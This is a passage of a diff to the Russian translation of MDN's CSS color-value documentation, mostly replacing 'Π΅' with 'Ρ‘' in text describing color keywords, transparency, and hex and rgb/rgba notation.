+ <li><a href="/en-US/docs/Web/HTML">HTML</a> распознаСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ 16 основных Ρ†Π²Π΅Ρ‚ΠΎΠ²Ρ‹Ρ… ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов, Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹Ρ… Π² CSS1, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ для прСобразования нСраспознанных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ (часто Π² ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ†Π²Π΅Ρ‚Π°). Π”Ρ€ΡƒΠ³ΠΈΠ΅ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова Ρ†Π²Π΅Ρ‚Π° Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² CSS ΠΈ <a href="/en-US/docs/Web/SVG">SVG</a>.</li>
<li>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ HTML, CSS Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ нСизвСстныС ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова.</li>
<li>ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова Ρ†Π²Π΅Ρ‚Π° всС ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой простыС, ΡΠΏΠ»ΠΎΡˆΠ½Ρ‹Π΅ Ρ†Π²Π΅Ρ‚Π°, Π±Π΅Π· прозрачности.</li>
<li>НСсколько ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов ΡΠ²Π»ΡΡŽΡ‚ΡΡ псСвдонимами Π΄Ρ€ΡƒΠ³ для Π΄Ρ€ΡƒΠ³Π°:
@@ -977,11 +977,11 @@ translation_of: Web/CSS/color_value
<p>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>transparent</code> прСдставляСт собой ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚. Π­Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ„ΠΎΠ½ ΠΏΠΎΠ·Π°Π΄ΠΈ Ρ†Π²Π΅Ρ‚Π½ΠΎΠ³ΠΎ элСмСнта ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΌ. ВСхничСски <code>transparent </code>- это ярлык для <code>rgba (0,0,0,0)</code>.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ ΠΏΠΎ совмСстимости:</strong> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π½Π΅ΠΏΡ€Π΅Π΄Π²ΠΈΠ΄Π΅Π½Π½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² {{cssxref ("Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚")}}, тСкущая спСцификация CSS ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ <code>transparent</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ вычислСн Π² <a href="https://www.w3.org/TR/2012/CR-css3-images-20120417/#color-stop-syntax">ΠΠ»ΡŒΡ„Π°-ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½Π½ΠΎΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΌ пространствС</a>. Однако ΠΈΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΊΠ°ΠΊ Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ с ΠΠ»ΡŒΡ„Π°-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>0</code>.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ ΠΏΠΎ совмСстимости:</strong> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π½Π΅ΠΏΡ€Π΅Π΄Π²ΠΈΠ΄Π΅Π½Π½ΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² {{cssxref ("Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚")}}, тСкущая спСцификация CSS ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ <code>transparent</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ вычислСн Π² <a href="https://www.w3.org/TR/2012/CR-css3-images-20120417/#color-stop-syntax">ΠΠ»ΡŒΡ„Π°-ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½Π½ΠΎΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΌ пространствС</a>. Однако ΠΈΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΊΠ°ΠΊ Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ с ΠΠ»ΡŒΡ„Π°-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>0</code>.</p>
</div>
<div class="note">
-<p><strong>Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠ°Ρ запись:</strong> <code>transparent</code> Π½Π΅ Π±Ρ‹Π» истинным Ρ†Π²Π΅Ρ‚ΠΎΠΌ Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ CSS 2 (РСдакция 1). Π­Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вмСсто ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ значСния <code>&lt;color&gt;</code> для Π΄Π²ΡƒΡ… свойств CSS: {{Cssxref("background")}} ΠΈ {{Cssxref("border")}}. Он Π±Ρ‹Π» сущСствСнно Π΄ΠΎΠ±Π°Π²Π»Π΅Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ унаслСдованный сплошной Ρ†Π²Π΅Ρ‚. Π‘ появлСниСм ΠΠ»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π»ΠΎΠ² Π² CSS Colors Level 3, <code>transparent </code>Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΊΠ°ΠΊ истинный Ρ†Π²Π΅Ρ‚. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π·Π΄Π΅, Π³Π΄Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>&lt;color&gt;</code>.</p>
+<p><strong>Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠ°Ρ запись:</strong> <code>transparent</code> Π½Π΅ Π±Ρ‹Π» истинным Ρ†Π²Π΅Ρ‚ΠΎΠΌ Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ CSS 2 (РСдакция 1). Π­Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вмСсто ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ значСния <code>&lt;color&gt;</code> для Π΄Π²ΡƒΡ… свойств CSS: {{Cssxref("background")}} ΠΈ {{Cssxref("border")}}. Он Π±Ρ‹Π» сущСствСнно Π΄ΠΎΠ±Π°Π²Π»Π΅Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ унаслСдованный сплошной Ρ†Π²Π΅Ρ‚. Π‘ появлСниСм ΠΠ»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π»ΠΎΠ² Π² CSS Colors Level 3, <code>transparent </code>Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΊΠ°ΠΊ истинный Ρ†Π²Π΅Ρ‚. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π·Π΄Π΅, Π³Π΄Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>&lt;color&gt;</code>.</p>
</div>
<h3 id="currentColor_ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅_слово"><code><a id="currentColor" name="currentColor">currentColor</a></code> ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово</h3>
@@ -1002,7 +1002,7 @@ translation_of: Web/CSS/color_value
<h3 id="RGB_Ρ†Π²Π΅Ρ‚">RGB Ρ†Π²Π΅Ρ‚</h3>
-<p>ЦвСтовая модСль RGB опрСдСляСт Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π² соотвСтствии с Π΅Π³ΠΎ красными, Π·Π΅Π»Π΅Π½Ρ‹ΠΌΠΈ ΠΈ синими ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°ΠΌΠΈ. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΠ»ΡŒΡ„Π°-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ прСдставляСт ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ Ρ†Π²Π΅Ρ‚Π°.</p>
+<p>ЦвСтовая модСль RGB опрСдСляСт Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π² соотвСтствии с Π΅Π³ΠΎ красными, Π·Π΅Π»Ρ‘Π½Ρ‹ΠΌΠΈ ΠΈ синими ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°ΠΌΠΈ. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΠ»ΡŒΡ„Π°-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ прСдставляСт ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ Ρ†Π²Π΅Ρ‚Π°.</p>
<h4 id="Бинтаксис">Бинтаксис</h4>
@@ -1014,13 +1014,13 @@ translation_of: Web/CSS/color_value
<dl>
<dt>ШСстнадцатСричноС прСдставлСниС:Β <code>#RRGGBB[AA]</code></dt>
- <dd><code>R</code> (red), <code>G</code> (green), <code>B</code> (blue), and <code>A</code> (alpha) are hexadecimal characters (0-9, A-F). <code>A</code> is optional. For example, <code>#ff0000</code> is equivalent to <code>#ff0000ff</code>.Β <code>R</code> (красный), G (Π·Π΅Π»Π΅Π½Ρ‹ΠΉ), B (синий) ΠΈ A (ΠΠ»ΡŒΡ„Π°) ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΌΠΈ символами (0-9, A-F). Π­Ρ‚ΠΎ Π½Π΅ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ. НапримСр, <code>#ff0000</code> эквивалСнтно<code> #ff0000ff</code>.</dd>
+ <dd><code>R</code> (red), <code>G</code> (green), <code>B</code> (blue), and <code>A</code> (alpha) are hexadecimal characters (0-9, A-F). <code>A</code> is optional. For example, <code>#ff0000</code> is equivalent to <code>#ff0000ff</code>.Β <code>R</code> (красный), G (Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ), B (синий) ΠΈ A (ΠΠ»ΡŒΡ„Π°) ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΌΠΈ символами (0-9, A-F). Π­Ρ‚ΠΎ Π½Π΅ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ. НапримСр, <code>#ff0000</code> эквивалСнтно<code> #ff0000ff</code>.</dd>
<dt>ШСстнадцатСричноС прСдставлСниС: <code>#RGB[A]</code></dt>
- <dd><code>R</code> (красный), <code>G</code> (Π·Π΅Π»Π΅Π½Ρ‹ΠΉ), <code>B</code> (синий) ΠΈ <code>A</code> (ΠΠ»ΡŒΡ„Π°) ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΌΠΈ символами (0-9, A-F). Π­Ρ‚ΠΎ Π½Π΅ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ. ВрСхзначная нотация (<code>#RGB</code>) являСтся Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠΉ вСрсиСй ΡˆΠ΅ΡΡ‚ΠΈΠ·Π½Π°Ρ‡Π½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹ (<code>#RRGGBB</code>). НапримСр, <code>#f09</code> ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ†Π²Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈ <code>#ff0099</code>. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, чСтырСхзначная нотация RGB (<code>#RGB</code>) являСтся Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠΉ вСрсиСй Π²ΠΎΡΡŒΠΌΠΈΠ·Π½Π°Ρ‡Π½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹ (<code>#RRGGBBAA</code>). НапримСр, #0f38 ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ†Π²Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈ <code>#00ff3388</code>.</dd>
+ <dd><code>R</code> (красный), <code>G</code> (Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ), <code>B</code> (синий) ΠΈ <code>A</code> (ΠΠ»ΡŒΡ„Π°) ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΌΠΈ символами (0-9, A-F). Π­Ρ‚ΠΎ Π½Π΅ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ. Врёхзначная нотация (<code>#RGB</code>) являСтся Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠΉ вСрсиСй ΡˆΠ΅ΡΡ‚ΠΈΠ·Π½Π°Ρ‡Π½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹ (<code>#RRGGBB</code>). НапримСр, <code>#f09</code> ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ†Π²Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈ <code>#ff0099</code>. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, чСтырёхзначная нотация RGB (<code>#RGB</code>) являСтся Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠΉ вСрсиСй Π²ΠΎΡΡŒΠΌΠΈΠ·Π½Π°Ρ‡Π½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹ (<code>#RRGGBBAA</code>). НапримСр, #0f38 ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ†Π²Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈ <code>#00ff3388</code>.</dd>
<dt>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π°Ρ нотация: <code>rgb(R, G, B[, A])</code>Β ΠΈΠ»ΠΈΒ <code>rgba(R, G, B, A)</code></dt>
- <dd><code>R</code> (красный), <code>G </code>(Π·Π΅Π»Π΅Π½Ρ‹ΠΉ) ΠΈ <code>B</code> (синий) ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π»ΠΈΠ±ΠΎ {{cssxref("&lt;number&gt;")}}s, Π»ΠΈΠ±ΠΎ {{cssxref("&lt;percentage&gt;")}}s, Π³Π΄Π΅ число <code>255 </code>соотвСтствуСт <code>100%</code>. А (ΠΠ»ΡŒΡ„Π°) ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ {{cssxref("&lt;number&gt;")}} ΠΌΠ΅ΠΆΠ΄Ρƒ <code>0</code> ΠΈ <code>1</code> ΠΈΠ»ΠΈ {{cssxref("&lt;percentage&gt;")}}, Π³Π΄Π΅ число 1 соотвСтствуСт <code>100%</code> (полная Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ).</dd>
+ <dd><code>R</code> (красный), <code>G </code>(Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ) ΠΈ <code>B</code> (синий) ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π»ΠΈΠ±ΠΎ {{cssxref("&lt;number&gt;")}}s, Π»ΠΈΠ±ΠΎ {{cssxref("&lt;percentage&gt;")}}s, Π³Π΄Π΅ число <code>255 </code>соотвСтствуСт <code>100%</code>. А (ΠΠ»ΡŒΡ„Π°) ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ {{cssxref("&lt;number&gt;")}} ΠΌΠ΅ΠΆΠ΄Ρƒ <code>0</code> ΠΈ <code>1</code> ΠΈΠ»ΠΈ {{cssxref("&lt;percentage&gt;")}}, Π³Π΄Π΅ число 1 соотвСтствуСт <code>100%</code> (полная Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ).</dd>
<dt>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π°Ρ нотация: <code>rgb(RΒ GΒ B[Β A])</code> or <code>rgba(RΒ GΒ BΒ A)</code></dt>
- <dd>CSS Colors Level 4 добавляСт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ.</dd>
+ <dd>CSS Colors Level 4 добавляСт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ.</dd>
</dl>
<h4 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h4>
@@ -1068,20 +1068,20 @@ rgb(1e2, .5e1, .5e0, +.25e2%)
<h5 id="RGB_Π²Π°Ρ€ΠΈΠ°Ρ†ΠΈΠΈ_прозрачности">RGB Π²Π°Ρ€ΠΈΠ°Ρ†ΠΈΠΈ прозрачности</h5>
<pre class="notranslate">/* ШСстнадцатСричный синтаксис */
-#3a30 <span style="background: #3a30;"> /* 0% Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ */ </span>
-#3A3F <span style="background: #3A3F;"> /* ΠΏΠΎΠ»Π½Ρ‹ΠΉ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ */ </span>
-#33aa3300 <span style="background: #33aa3300;"> /* 0% Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ */ </span>
-#33AA3380 <span style="background: #33AA3380;"> /* 50% Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ */ </span>
+#3a30 <span style="background: #3a30;"> /* 0% Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ */ </span>
+#3A3F <span style="background: #3A3F;"> /* ΠΏΠΎΠ»Π½Ρ‹ΠΉ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ */ </span>
+#33aa3300 <span style="background: #33aa3300;"> /* 0% Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ */ </span>
+#33AA3380 <span style="background: #33AA3380;"> /* 50% Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ */ </span>
/* Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис */
-rgba(51, 170, 51, .1) <span style="background: rgba(51, 170, 51, .1);"> /* Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π½Π° 10% */ </span>
-rgba(51, 170, 51, .4) <span style="background: rgba(51, 170, 51, .4);"> /* Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π½Π° */ </span>
-rgba(51, 170, 51, .7) <span style="background: rgba(51, 170, 51, .7);"> /* Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π½Π° 70% */ </span>
-rgba(51, 170, 51, 1) <span style="background: rgba(51, 170, 51, 1);"> /* ΠΏΠΎΠ»Π½Ρ‹ΠΉ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ */ </span>
+rgba(51, 170, 51, .1) <span style="background: rgba(51, 170, 51, .1);"> /* Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π½Π° 10% */ </span>
+rgba(51, 170, 51, .4) <span style="background: rgba(51, 170, 51, .4);"> /* Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π½Π° */ </span>
+rgba(51, 170, 51, .7) <span style="background: rgba(51, 170, 51, .7);"> /* Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π½Π° 70% */ </span>
+rgba(51, 170, 51, 1) <span style="background: rgba(51, 170, 51, 1);"> /* ΠΏΠΎΠ»Π½Ρ‹ΠΉ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ */ </span>
/* Бинтаксис ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² */
-rgba(51 170 51 / 0.4) <span> /* Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π½Π° 40%*/ </span>
